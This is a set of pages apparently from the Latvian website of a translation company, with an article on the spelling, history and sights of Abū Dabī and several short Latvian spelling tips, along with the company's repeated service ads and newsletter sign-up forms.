VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Apvienoto Arābu Emirātu galvaspilsēta ir Abu Dabi vai Abū Dabī? Ieskaties šajā rakstā un uzzini visu par šo pasaules brīnumu pilsētu! - Published: 2018-05-09 - Modified: 2024-10-14 - URL: https://skrivanek.lv/abu-dabi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAI APVIENOTO ARĀBU EMIRĀTU GALVASPILSĒTA IR ABU DABI VAI ABŪ DABĪ? 1 Vai Apvienoto Arābu Emirātu galvaspilsēta ir Abu Dabi vai Abū Dabī? Vienu no pasaules bagātākajām pilsētām latviešu valodā raksta Abū Dabī. Šīs pilsētas nosaukuma rakstībā vērojamas svārstības: nereti redzam, ka nosaukums rakstīts arī vienā vārdā – Abudabi, vai ar īsajiem patskaņiem: Abu Dabi. Pēc pareizrakstības normām nosaukums latviešu valodā rakstāms Abū Dabī. To apstiprina arī 2008. gadā izdotais „Lielais pasaules atlants”. Tātad mēs varam doties ceļojumā uz Abū Dabī. Citi latviešu valodas padomi PASAULES BRĪNUMU PILSĒTA – ABŪ DABĪ 1 ABŪ DABĪ EMIRĀTS Abū Dabī Emirāts (arābu: إمارة أبو ظبي), ir viens no Apvienoto Arābu Emirātu septiņiem emirātiem, kas atrodas valsts rietumu daļā. Emirātu ziemeļos apskalo Persijas līcis. Emirāts robežojas ar Dubaijas Emirātu un ar Šārdžas Emirātu austrumos. Emirāta kopējā platība ir 67 340 km², pēc 2011. gada datiem emirātā dzīvo 2 210 700 iedzīvotāju. Tas ir lielākais un bagātākais Apvienoto Arābu Emirātu emirāts un aizņem lielāko daļu valsts teritorijas jeb vairāk nekā 87%. Aptuveni 95% Apvienoto Arābu Emirātu naftas krājumu atrodas tieši Abū Dabī Emirātā. Tā administratīvais centrs un lielākā pilsēta ir Abū Dabī, kas ir Apvienoto Arābu Emirātu galvaspilsēta un otrā lielākā pilsēta. ABŪ DABĪ PILSĒTA Abū Dabī pilsēta atrodas uz salas, un no kontinenta to atdala jūras šaurums. Saistībā ar to, ka pilsēta ir ļoti apzaļumota, kaut arī gaisa temperatūra ir tikai par 1–1,5 grādiem zemāka nekā tuvākajā tuksnesī, to dēvē par „parku pilsētu”. Veiksmīga naftas un gāzes ekspluatācija ļāva investēt diezgan lielus naudas līdzekļus pilsētas infrastruktūrā: ceļu būvē, skolu celtniecībā un skaistu pludmaļu un promenāžu izveidē. Pēdējo gadu laikā pilsēta kļuvusi par vienu no vispievilcīgākajām un greznākajām metropolēm pasaulē. Abū Dabī ir valsts galvaspilsēta, emirātu administratīvais centrs un prezidenta rezidence. Mūsdienās pilsēta ir viena no vissatīstītākajām pilsētām pasaulē. Pateicoties naftas industrijas attīstīšanai Abū Dabī ar saviem ultramodernajiem debesskrāpjiem ir nosaukta par Austrumu Manhetenu. Iedzīvotāju skaits pilsētā pēc 2022. gada datiem ir aptuveni 1,5 milj. Vietējie iedzīvotāji arābi veido tikai aptuveni 20% no kopējā iedzīvotāju skaita, visvairāk pilsētu apdzīvo indieši, pakistānieši, citu arābu valstu iedzīvotāji un angļi. Abū Dabī atrodas federālo iestāžu institūcijas, Apvienoto Arābu Emirātu valdības mītne, Apvienoto Arābu Emirātu prezidenta pils. Abū Dabī straujā attīstība un urbanizācija kopā ar salīdzinoši augstajiem iedzīvotāju vidējiem ienākumiem ir padarījusi šo pilsētu par lielu un pārtikušu metropoli. Mūsdienās Abū Dabī ir politisko un rūpniecisko aktivitāšu centrs, kā arī nozīmīgs kultūras un tirdzniecības centrs, pateicoties tās galvaspilsētas pozīcijai. Abū Dabī pieder aptuveni divas trešdaļas no Apvienoto Arābu Emirātu 400 miljardu dolāru vērtās ekonomikas. Abū Dabī 2014. gadā tika nodēvēta par 68. dārgāko lielpilsētu pasaulē. Apvienoto Arābu Emirātu galvaspilsēta ilgu laiku ir atradusies tās spožās, nekaunīgās un lieluma mānijas apsēstās kaimiņienes – Dubaijas – ēnā. Tomēr Abū Dabī arvien vairāk pievilina tos, kuri meklē atelpu no Dubaijas galvu reibinošā tempa. Atrodoties vien 150 km uz dienvidrietumiem no Dubaijas, šī ir lieliska vieta, kur arī ziemā sauļoties, apskatīt varenas celtnes vai novērot to tapšanu, iepazīt nākotnes pilsētvides ainas un satikt eksotiskus dzīvniekus. Zelta pludmales, ūdensparki, izbraucieni pa tuksnesi un daudzas citas atrakcijas padara Abū Dabī par ideālu vietu atvaļinājumam. KLIMATS ABŪ DABĪ Abū Dabī ir silts tuksneša klimats. Saulainas zilas debesis var sagaidīt visu gadu. No jūnija līdz septembrim parasti ir ļoti silts un mitrs, maksimālā temperatūra vidēji pārsniedz 38°C. Šajā periodā dažkārt notiek smilšu vētras, kas dažos gadījumos samazina redzamību tikai līdz dažiem metriem. Aukstākā sezona ilgst no novembra līdz martam, kur temperatūra svārstās no mēreni siltas līdz aukstai. Šajā periodā dažas dienas parādās arī bieza migla. Vidēji janvāris ir gada aukstākais mēnesis, bet jūlijs un augusts ir siltākie. ABŪ DABĪ VĒSTURE Ir saglabājušās ļoti daudz vēstures liecību, kas liecina par civilizācijas klātbūtni pilsētas teritorijā jau trešajā tūkstošgadē p. m. ē. Apmetnes tika atrastas arī ārpus mūsdienu Abū Dabī pilsētas, ap Hafīta kalnu. Nosaukuma „Abū Dabī" izcelsme nav īsti skaidra. No arābu valodas burtiski tulkojot, nozīme ir „gazeļu tēvs", iespējams, attiecas uz gazeļu ganāmpulkiem, kas apdzīvo Emirātu teritorijas. Par galvaspilsētas nodibināšanu stāsta skaista leģenda: Reiz arābu mednieki medīja gazeli. Gazele ilgi skraidīja pa tuksnesi un beidzot atveda medniekus Persijas līča piekrastē, kur viņa ielēca ūdenī un nokļuva salā. Mednieki tai sekoja un gazele viņus atveda pie brīnišķīga dzeramā ūdens avota. Pateicībā par to mednieki dāvāja gazelei dzīvību, bet tuvu avotam jaundibinātu apmetni bija nosaukuši par „gazeles tēvu”, kas arābu valodā skan kā Abū Dabī. Abū Dabī pilsēta tika dibināta 1760. gadā. 20. gadsimta vidū Abū Dabī ekonomiku turpināja uzturēt galvenokārt kamieļu audzēšana, dateļu un dārzeņu audzēšana iekšzemes oāzēs, kā arī makšķerēšana un niršana pēc pērlēm pie Abū Dabī pilsētas krastiem, kas bija galvenais ienākumu avots pamatā vasaras mēnešos. Lielākā daļa mājokļu Abū Dabī pilsētā šajā laikā tika būvēti no palmu lapām, turīgākās ģimenes apdzīvoja dubļu būdiņas. ABŪ DABĪ UN PĒRĻU TIRDZNIECĪBA Abū Dabī bija ļoti attīstīta pērļu tirdzniecība. Saskaņā ar pētījumiem par pērļu ražošanu, Persijas līcis bija labākā vieta to audzēšanai. Pērļu mednieki nira pēc pērlēm pat trīsdesmit reižu dienā, vienā niršanas reizē uzturoties zem ūdens ilgāk pat par 1–2 minūtēm. Netika izmantoti ne skābekļa baloni, ne cita veida mehāniskas ierīces. Ūdenslīdējiem bija tikai deguna klipsis un ādas apvalki uz pirkstiem, lai pasargātu tos, meklējot austeres. Ūdenslīdēji nesaņēma algu par dienu, bet saņēma daļu no sezonas ienākumiem. ABŪ DABĪ NAFTAS ATRADNES UN TIRDZNIECĪBA Trīsdesmitajos gados, samazinoties pērļu tirdzniecībai, pieauga interese par reģiona naftas iespējām. 1936. gada 5. Janvārī Petroleum Development Trucial Coast Ltd , Iraqi Oil Company asociētais uzņēmums, noslēdza koncesijas līgumu ar valdnieku šeihu Šahbutu bin Sultānu Al Nahjanu par naftas atradņu izpēti. Tomēr, tuksnešainā reljefa dēļ, zemes izpēte sagādāja grūtības. 1958. gadā, izmantojot jūras urbšanas platformu, uzņēmums ADMA atrada naftu Um Shaif apgabalā aptuveni 2669 m dziļumā. Pēc tam 1959. gadā sekoja Murbanas 3. zemes avota atklāšana. 1962. gadā šis uzņēmums atklāja Bu Hasa naftas lauku, bet pēc tam 1965. gadā nafta tika atklāta Zakumas cietzemes apgabalā. Mūsdienās bez minētajiem naftas laukiem galvenās sauszemes atradnes ir Asab, Sahil un Shah, savukārt jūras lauki ir Al Bunduk un Abu el Buhush. Pēc Emirātu neatkarības iegūšanas 1971. gadā naftas bagātības turpināja plūst uz šo apgabalu, un tradicionālās dubļu ķieģeļu būdas strauji tika aizstātas ar bankām, modes preču veikaliem un modernām augstceltnēm. Pēdējos gados uzmanība ir pievērsta gāzei, jo pieaugošais iekšzemes enerģijas patēriņš, atsāļošana un gāzes atkārtota ievadīšana naftas atradnēs palielina pieprasījumu. Tomēr gāzes ieguve nenotiek bez grūtībām, kā to pierāda skābās gāzes projekts Šahā, kur gāze ir bagāta ar sērūdeņraža saturu un ir dārga tās izstrāde un apstrāde. Abū Dabī ir pilsēta, kuru noteikti vēlas apmeklēt jebkurš. Tā pievilina ar savu bagātību, tās izpausmēm gan pilsētas būvniecībā, zinātnē, izklaides industrijā, tūrisma biznesā. Pilsēta pārsteidz ar savu varenību, austrumniecisko šarmu un noslēpumiem. Tā vilina ar blakus esošā tuksneša skaistumu un mežonīgumu. Izstāstīt to visu nevar, tas ir jāredz paša acīm. VISS IR LABI ABŪ DABĪ! Tikai mazliet no visa šī mūsu pasaules fenomena: ŠEIHA ZAJEDA LIELĀ MOŠEJA Redzama no visiem tiltiem, kas savieno Abū Dabī salu ar cietzemi. Šeiha Zajeda mošeja ir kā iespaidīgs ielūgums pilsētā. Mošeju apjož grezni dārzi, tajā ir pasaulē lielākais ar rokām mezglotais paklājs, kupols un lustra, kas sver ap 12 tonnām, laistās Swarovski kristālos un 24 karātu zeltā. Kolonnas ir apdarinātas ar marmora paneļiem, kas inkrustēti ar pusdārgakmeņiem. Šeit ir vieta 41 000 lūdzēju, un šī ir viena no nedaudzajām apkārtnes mošejām, kas atvērta visiem apmeklētājiem, izņemot lūgšanu laiku. KAPITEĻA VĀRTI Lai gan Pizas tornis Itālijā ir slavens sava slīpā leņķa dēļ, tā nav visvairāk uz sāniem savērsusies celtne. Kopš 2010. gada šis tituls pieder Abū Dabī Kapiteļa vārtiem, kas ir noliekušies par 18 grādiem, padarot tos īpaši interesantus. THE CORNICHE The Corniche ir iespaidīga 8 km gara apzaļumota promenāde, ar vairākām piknika un atpūtas vietām. Nav nekā relaksējošāka kā pastaiga šeit pievakarē. Promenādi visā garumā iespējams noiet vienā pēcpusdienā, bet, lai šo procesu paātrinātu, kāpēc gan neizīrēt velosipēdu? No šejienes paverās burvīgs skats uz Arābijas līci un neskaitāmajiem debesskrāpjiem, kas iestiepjas debesīs. EMIRĀTU PILS Šis ir Abū Dabī lepnums, pielīdzināms Dubaijas Burj Khalifa viesnīcas debesskrāpim. Taču, ja Burj Khalifa stiepjas uz augšu, šī celtne ir izpletusies plašā teritorijā. Nav nepieciešams rezervēt numuru, lai apskatītu šo ievērojamo celtni, jo tā spēlē arī kultūras centra lomu. Milzu kupolveida sargu mājas, peldošās rampas foajē, 114 kupoli un tūkstots kristāla lustras vienaldzīgu neatstāj nevienu. Šeit atrodas arī aizraujošā Barakat galerija, kurā apskatāmi smalki mākslas izstrādājumi no senās Ķīnas, Ēģiptes, Āfrikas, Grieķijas un Romas, kā arī izslavētais zelta stieņu bankas automāts. YAS SALA Netālu no lidostas atrodas Yas sala, kurā ir pārpārēm dažādu adrenalīnu paaugstinošu izklaižu. Arī Waterwold, kas ir lielākais ūdens atrakciju parks pasaulē. Tas piedāvā gūzmu nobraucienu ar plostiem, slaidus, biedējošas aizas un nebeidzamu viļņu mašīnas. Turpat uz Yas salas atrodas arī pirmais tematiskais parks, kas veltīts F1. Ferrari World ir īstā vieta asu izjūtu meklētājiem ar pasaulē ātrākajiem amerikāņu kalniņiem, kuros varat izjust, kā ir traukties 240 km/h lielā ātrumā. Šeit ir atsevišķas zonas, kas ļauj ieskatīties Ferrari vēsturē un sacensību aizkulisēs. Šeit atrodas arī slavenā Abū Dabī F1 trase, kurā otrdienās var bez maksas izskriet, nobraukt ar velosipēdu, savu auto vai izīrētu, piemēram, Aston Martin GT4, kaut visu trases garumu. PIEKŪNU SLIMNĪCA Piekūni ir nozīmīga un neatņemama līča kultūras daļa. Jau pie ieejas var novērot satrauktus īpašniekus ienesot kapucēm apsegtos mīluļus. Šeit var apskatīt piekūnus tuvplānā, kā arī speciāli audzētos Ķīnas saluki kucēnus, kas gadsimtiem ilgi ir bijuši beduīnu labākie draugi un lieliski mednieki, sava ātruma un attapības dēļ. MASDARAS PILSĒTA Netālu no lidostas atrodas nākotnes pilsēta Masdara. Šeit aizliegts iebraukt ar automašīnām, jo šī tiek plānota kā pirmā bez oglekļa pilsēta, kas šobrīd ir ciemata izmērā, taču strauji aug un attīstās. Masdaras energoresursi ir saules enerģija, kā arī karstie un spēcīgie tuksneša vēji. Šeit studenti kopā ar zinātniekiem izstrādā dažādas tehnoloģijas, kas ne tik tālā nākotnē varētu būt mūsu ikdiena. Šeit ir organiskās pārtikas kafejnīcas un pa pilsētu kursē pilnībā automatizēti mini-busi. AL AIN PARADĪZE Šajā fantastiski krāšņajā parkā zeļ ap 10 miljoniem ziedu un ap 300 nokareno augu kompozīciju. Šis ir viens no visskaistākajiem un krāsainākajiem dārziem pasaulē ar dažādās formās ar ziediem apaudzētām instalācijām un ornamentāliem ziedu paklājiem. JEBEL HAFEET Netālu no Omānas robežas Al Ain rajonā atrodas viens no augstākajiem kalniem Apvienotajos Arābu Emirātos ─ Jebel Hafeet. No tā pakājes līdz pat virsotnei ved labiekārtots līkumots ceļš. No 1249 m augstās virsotnes paveras fantastisks skats uz šo lielisko pilsētu un tuvējo apkārtni. Šī ir lieliska vieta, kur noslēgt Abū Dabī brīvdienas, pārdomājot piedzīvoto un atvadoties no šīs vietas, lai atgrieztos. ARĀBU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu arābu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no gruzīnu valodas. Tulkojumi arābu valodā ARĀBU VALODAS KURSI Piedāvājam gruzīnu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos arābu valodas kursus privātpersonām. Nodarbību laiks un intensitāte pēc Jūsu izvēles! Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos gruzīnu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Arābu valodas kursi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- > Kā pareizi rakstāma šī skaņas pastiprināšanas ierīce? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2024-08-13 - URL: https://skrivanek.lv/mikrafons-pret-mikrofons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MIKRAFONS PRET MIKROFONS 1 Kā pareizi rakstāma šī skaņas pastiprināšanas ierīce? Vārds „mikrofons” veidots no grieķu vārddaļas „mikro” un vārda „phonē” ar nozīmi ‘skaņa’. Patskanis „o” vārda „mikrofons” vidū ir neuzsvērts, tāpēc nereti tas tiek rakstīts aplami – „mikrafons”, nevis „mikrofons”. Tātad, uzstājoties plašai publikai, lietosim mikrofonu, Latvijas mūzikā tiek piešķirta balva „Zelta mikrofons” utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu skola AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Darbus varam izdarīt laikus vai laicīgi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-05-09 - Modified: 2024-09-02 - URL: https://skrivanek.lv/laikus-pret-laicigi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LAIKUS PRET LAICĪGI 1 Vai darbus varam izdarīt laikus vai laicīgi? Runājot par kaut ko, kas notiek pirms paredzētā laika, mēs lietojam apstākļa vārdu „laikus”: „laikus ieradāmies uz izrādi”, „laikus pārnācām mājās”. Šādā nozīmē kā sinonīms lietojams arī apstākļa vārds „laicīgi”: „laicīgi ieradāmies uz izrādi”, „laicīgi pārnācām mājās”. Īpašības vārds „laicīgs” nozīmē tādu, kas nav saistīts ar reliģiju, baznīcu, kā arī garīgām vērtībām, piemēram, „laicīgā mūzika”, „laicīgā manta”. Domājams, tieši īpašības vārda nozīmju dēļ reizumis ir iebildumi pret „laikus” un „laicīgi” sinonīmo lietojumu, tomēr tiem nav pamata. Tātad darbus varam padarīt gan laikus, gan laicīgi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā precīzi dēvējama šī daļa Rīgas? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-09-24 - URL: https://skrivanek.lv/vecmilgravis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VECMILGRĀVIS PRET VECMĪLGRĀVIS 1 Kā precīzi dēvējama šī daļa Rīgas? Nosaukums rakstāms ar garo patskani „ī”: Vecmīlgrāvis. Ar mīlu gan tam nav sakara: Vecmīlgrāvja vārds radies no kanāla nosaukuma, kas savienoja Ķīšezeru un Daugavu. Uz šī kanāla cisterciešu Sv. Nikolaja klosterbrāļi ierīkoja ūdensdzirnavas, tāpēc kanālu nodēvēja par „Mühlen Graben” – Dzirnavu grāvi. Tātad varam apciemot Jaunmīlgrāvi un Vecmīlgrāvi, izstaigāt Augusta Dombrovska takas Vecmīlgrāvī utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu skola AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Aukstam laikam reizumis piemērots ir kāds stiprāks dzēriens: vai tā nosaukums rakstāms balzams vai balzāms? Ieskaties un uzzini atbildi! - Published: 2018-05-09 - Modified: 2024-08-26 - URL: https://skrivanek.lv/balzams/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BALZAMS PRET BALZĀMS 1 Aukstam laikam reizumis piemērots ir kāds stiprāks dzēriens: vai tā nosaukums rakstāms balzams vai balzāms? Vārds „balzams” aizgūts no grieķu vārda „balsamon”, kas nozīmē ‘aromātiski sveķi’. Lai gan šo vārdu izrunājam ar garu patskani „a”, tomēr pēc pareizrakstības normām tas rakstāms ar īsu patskani. Tātad varam baudīt alkoholisku dzērienu balzamu, kā arī lietot kosmētikas līdzekļus: balzamu matiem, rokām utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā dēvēsim slīpētos dimantus? Uuzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-05-09 - Modified: 2024-09-12 - URL: https://skrivanek.lv/briliants-pret-briljants-pret-brilliants/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BRILIANTS PRET BRILJANTS PRET BRILLIANTS 1 Kā dēvēsim slīpētos dimantus? Vārds „briljants” latviešu valodā ienācis no franču valodas. Tas aizgūts no vārda „brilliant”, kas nozīmē ‘spožs, mirdzošs’. Lai gan oriģinālvalodā vārda vidū ir divi līdzskaņi „l” un patskanis „i”, latviešu valodā tas rakstāms ar līdzskaņu savienojumu „lj”: briljants. Tātad juvelierizstrādājumu veikalā varam izvēlēties briljantu kaklarotu, kādu varam palutināt, uzdāvinot gredzenu ar briljantu, utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai iesim vakariņās uz gruzīnu vai gruzīņu restorānu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-05-09 - Modified: 2022-12-22 - URL: https://skrivanek.lv/gruzinu-restorans/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GRUZĪNU RESTORĀNS PRET GRUZĪŅU RESTORĀNS 1 Vai iesim vakariņās uz gruzīnu vai gruzīņu restorānu? Daudzu tautu nosaukumi latviešu valodā ir 2. deklinācijas lietvārdi, kuros sastopama līdzskaņa "j" noteiktā mija. 2. deklinācijas lietvārdos saknes beigu līdzskanis vai nu pievieno sev līdzskani "j", kā, piemēram, vārdā skapis - skapji; vai saknes beigu līdzskanis pārveidojas, piemēram, spānis - spāņi, lietuvietis - lietuvieši. Savukārt vārds „gruzīns” ir 1. deklinācijas lietvārds, tāpēc šajā vārdā mijas nav: gruzīns – gruzīni. Tātad iepazīsim gruzīnu virtuvi un apmeklēsim gruzīnu restorānu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE 